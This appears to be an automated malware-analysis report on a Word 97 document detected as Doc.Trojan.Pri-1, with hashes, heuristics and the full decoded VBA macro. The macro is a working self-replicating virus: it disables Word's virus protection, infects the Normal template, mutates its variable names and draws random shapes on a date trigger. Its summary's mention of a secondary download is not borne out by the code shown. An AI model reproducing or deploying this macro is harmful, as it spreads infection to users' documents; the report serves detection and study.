Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3736dcf9c49fb20f…

MALICIOUS

Office (OLE)

30.5 KB Created: 2001-02-22 13:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: b11e125dc4d464fa6db25a2c68bfa0e3 SHA-1: a2b8cbd5f2cf916897048bf95b46dfd3d496f6fd SHA-256: 3736dcf9c49fb20f629200326dd7ca759eee8e85ea83069cc2e0bdf96f0c2e61
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing a Document_Open VBA macro, which is a common technique for executing malicious code. The macro is designed to obfuscate its actions and potentially download a secondary payload. The presence of the Document_Open macro and the VBA code strongly indicates a malicious intent, likely delivered via spearphishing.

Heuristics 3

  • ClamAV: Doc.Trojan.Pri-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Pri-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 12611 bytes
SHA-256: 494d26ad62ea7c58c90a7160fc7754a88866f409659100b6eb1478ae9b8fd3c0
Detection
ClamAV: Doc.Trojan.Pri-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Private Sub Document_Open()
On Error Resume Next
Options.ConfirmConversions = 0: Options.VirusProtection = 0: Options.SaveNormalPrompt = 0
If Day(Now) = Minute(Now) Then
Randomize: For TM3491 = 1 To (Int(Rnd * 70))
ActiveDocument.Shapes.AddShape(Int(Rnd * 120), Int(Rnd * 200), Int(Rnd * 500), Int(Rnd * 500), Int(Rnd * 500)).Select
Selection.ShapeRange.Fill.ForeColor.RGB = RGB(Int(Rnd * 255), Int(Rnd * 255), Int(Rnd * 255))
Selection.ShapeRange.Fill.Visible = msoTrue
Selection.ShapeRange.Fill.Solid: Next TM3491: End If
UL9644 = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
DI771 = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If Left(ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set OK2648 = ActiveDocument.VBProject.VBComponents.Item(1)
OL775 = True
End If
If Left(NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(1, 3), 3) <> "Pri" Then
Set OK2648 = NormalTemplate.VBProject.VBComponents.Item(1)
UE6878 = True
Call VH9821_RV1023
ActiveDocument.Saved = True
End If
If UE6878 <> True And OL775 <> True Then GoTo NP935
If UE6878 = True Then OK2648.CodeModule.AddFromString ("Private Sub Document_Close()" & vbCr & ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(2, UL9644 - 1) & vbCr & "Sub ViewVBCode()" & vbCr & "Application.Quit SaveChanges:=wdDoNotSaveChanges" & vbCr & "End Sub")
If OL775 = True Then OK2648.CodeModule.AddFromString ("Private Sub Document_Open()" & vbCr & NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(2, DI771 - 4))
NP935:
If DI771 <> 0 And UL9644 = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
End Sub 'W97M/PSD.II ...logically delicious! [(c)1998 ALT-F11 code hack]
Private Function VH9821_RV1023()
On Error Resume Next
Randomize
Dim r1(1 To 15) As String
r1(1) = "RU3433": r1(2) = "DC2077": r1(3) = "AE9067": r1(4) = "MB1957": r1(5) = "RV1023": r1(6) = "UL9644"
r1(7) = "DI771": r1(8) = "OL775":: r1(9) = "OK2648": r1(10) = "UE6878": r1(11) = "NP935": r1(12) = "VH9821": r1(13) = "RE6659": r1(14) = "PQ7662": r1(15) = "TM3491"
For TM3491 = 1 To 15
a1 = (Chr(65 + Int(Rnd * 22))) & (Chr(65 + Int(Rnd * 22))) & Int(Rnd * 100) & Int(Rnd * 100)
Call RV1023(a1, r1(TM3491))
Next TM3491
End Function 'VAMP v1.0 [thanks Vic!]
Private Function RV1023(PQ7662, RE6659 As String)
On Error Resume Next
Dim RU3433 As Long: Dim DC2077 As Long: Dim AE9067 As Long: Dim MB1957 As Long
With ActiveDocument.VBProject.VBComponents.Item(1).CodeModule
RU3433 = 1: DC2077 = 1: AE9067 = .CountOfLines: MB1957 = Len(.Lines(.CountOfLines, 1))
Do While .Find(RE6659, RU3433, DC2077, AE9067, MB1957, True)
strline = .Lines(RU3433, 1)
strline = Left(strline, DC2077 - 1) & PQ7662 & Mid(strline, MB1957)
.replaceline RU3433, strline
RU3433 = AE9067 + 1: DC2077 = 1:
AE9067 = .CountOfLines
MB1957 = Len(.Lines(.CountOfLines, 1))
Loop
End With
End Function

' Processing file: /opt/analyzer/scan_staging/cd1567cf4ae44956847d78abf3a22fb1.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5782 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	FuncDefn (Private Sub Document_Open())
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' 	BoS 0x0000 
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #4:
' 	Ld Now 
' 	ArgsLd Day 0x0001 
' 	Ld Now 
' 	ArgsLd Minute 0x0001 
' 	Eq 
' 	IfBlock 
' Line #
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.